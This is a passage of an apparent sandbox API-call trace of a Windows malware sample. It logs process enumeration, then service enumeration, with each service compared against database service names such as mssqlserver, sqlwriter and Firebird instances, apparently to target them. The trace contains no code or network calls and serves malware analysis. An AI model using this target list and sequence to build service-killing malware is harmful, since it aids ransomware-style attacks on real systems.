pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0217.692] lstrlenW (lpString="winlogon.exe") returned 12 [0217.692] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0217.692] lstrlenW (lpString="services.exe") returned 12 [0217.693] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0217.693] lstrlenW (lpString="lsass.exe") returned 9 [0217.693] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0217.693] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0217.694] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0217.694] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0217.694] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.694] lstrlenW (lpString="svchost.exe") returned 11 [0217.695] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.695] lstrlenW (lpString="svchost.exe") returned 11 [0217.695] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0217.696] lstrlenW (lpString="dwm.exe") returned 7 [0217.696] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.696] lstrlenW (lpString="svchost.exe") returned 11 [0217.696] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.697] lstrlenW (lpString="svchost.exe") returned 11 [0217.697] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.697] lstrlenW (lpString="svchost.exe") returned 11 [0217.697] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.698] lstrlenW (lpString="svchost.exe") returned 11 [0217.698] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.698] lstrlenW (lpString="svchost.exe") returned 11 [0217.698] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.699] lstrlenW (lpString="svchost.exe") returned 11 [0217.699] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.699] lstrlenW (lpString="svchost.exe") returned 11 [0217.699] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.700] lstrlenW (lpString="svchost.exe") returned 11 [0217.700] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.700] lstrlenW (lpString="svchost.exe") returned 11 [0217.700] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.701] lstrlenW (lpString="svchost.exe") returned 11 [0217.701] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0217.701] lstrlenW (lpString="spoolsv.exe") returned 11 [0217.701] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0217.702] lstrlenW (lpString="taskhostw.exe") returned 13 [0217.702] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.702] lstrlenW (lpString="svchost.exe") returned 11 [0217.702] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0217.703] lstrlenW (lpString="audiodg.exe") returned 11 [0217.703] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0217.703] lstrlenW (lpString="sihost.exe") returned 10 [0217.703] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.704] lstrlenW (lpString="svchost.exe") returned 11 [0217.704] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0217.704] lstrlenW (lpString="MDMAgent.exe") returned 12 [0217.704] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0217.705] lstrlenW (lpString="taskhostw.exe") returned 13 [0217.705] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0217.705] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0217.705] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0217.706] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0217.706] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0217.706] lstrlenW (lpString="Memory Compression") returned 18 [0217.706] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0217.707] lstrlenW (lpString="explorer.exe") returned 12 [0217.707] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0217.708] lstrlenW (lpString="SearchUI.exe") returned 12 [0217.708] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0217.708] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0217.708] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0217.709] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0217.709] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0217.709] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0217.709] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0217.710] lstrlenW (lpString="mobsync.exe") returned 11 [0217.710] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0217.710] lstrlenW (lpString="finbbp.exe") returned 10 [0217.710] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0217.711] lstrlenW (lpString="cmd.exe") returned 7 [0217.711] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0217.711] lstrlenW (lpString="conhost.exe") returned 11 [0217.711] Process32NextW (in: hSnapshot=0x2b0, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0217.712] CloseHandle (hObject=0x2b0) returned 1 [0217.712] Sleep (dwMilliseconds=0x1f4) [0218.215] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ad778 [0218.215] EnumServicesStatusExW (in: hSCManager=0x6ad778, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0218.216] GetLastError () returned 0xea [0218.216] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1b58) returned 0x6cf658 [0218.216] EnumServicesStatusExW (in: hSCManager=0x6ad778, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6cf658, cbBufSize=0x1b58, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6cf658, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0218.217] CloseServiceHandle (hSCObject=0x6ad778) returned 1 [0218.218] lstrlenW (lpString="AppXSvc") returned 7 [0218.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0218.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0218.218] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0218.218] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0218.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0218.218] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0218.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0218.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0218.218] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0218.218] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0218.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0218.218] lstrlenW (lpString="Audiosrv") returned 8 [0218.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0218.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0218.218] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0218.218] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0218.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0218.218] lstrlenW (lpString="BFE") returned 3 [0218.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0218.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0218.218] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0218.219] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0218.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0218.219] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0218.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0218.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0218.219] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0218.219] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0218.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0218.219] lstrlenW (lpString="CDPSvc") returned 6 [0218.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0218.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0218.219] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0218.219] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0218.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0218.219] lstrlenW (lpString="ClickToRunSvc") returned 13 [0218.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0218.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0218.219] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0218.219] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0218.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0218.219] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0218.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0218.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0218.219] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0218.219] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0218.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0218.219] lstrlenW (lpString="CryptSvc") returned 8 [0218.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0218.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0218.219] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0218.219] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0218.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0218.220] lstrlenW (lpString="DcomLaunch") returned 10 [0218.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0218.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0218.220] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0218.220] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0218.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0218.220] lstrlenW (lpString="DeviceAssociationService") returned 24 [0218.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0218.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0218.220] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0218.220] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0218.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0218.220] lstrlenW (lpString="Dhcp") returned 4 [0218.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0218.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0218.220] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0218.220] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0218.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0218.220] lstrlenW (lpString="Dnscache") returned 8 [0218.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0218.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0218.220] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0218.220] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0218.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0218.220] lstrlenW (lpString="DPS") returned 3 [0218.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0218.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0218.220] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0218.220] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0218.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0218.220] lstrlenW (lpString="DusmSvc") returned 7 [0218.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0218.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0218.221] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0218.221] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0218.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0218.221] lstrlenW (lpString="EventLog") returned 8 [0218.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0218.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0218.221] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0218.221] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0218.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0218.221] lstrlenW (lpString="EventSystem") returned 11 [0218.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0218.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0218.221] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0218.221] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0218.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0218.221] lstrlenW (lpString="FontCache") returned 9 [0218.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0218.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0218.221] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0218.221] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0218.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0218.221] lstrlenW (lpString="gpsvc") returned 5 [0218.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0218.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0218.221] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0218.221] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0218.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0218.221] lstrlenW (lpString="iphlpsvc") returned 8 [0218.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0218.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0218.221] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0218.221] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0218.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0218.222] lstrlenW (lpString="KeyIso") returned 6 [0218.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0218.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0218.222] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0218.222] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0218.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0218.222] lstrlenW (lpString="LanmanServer") returned 12 [0218.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0218.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0218.222] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0218.222] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0218.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0218.222] lstrlenW (lpString="LanmanWorkstation") returned 17 [0218.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0218.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0218.222] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0218.222] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0218.222] lstrcmpiW (lpString1="sqlserveradhelper", 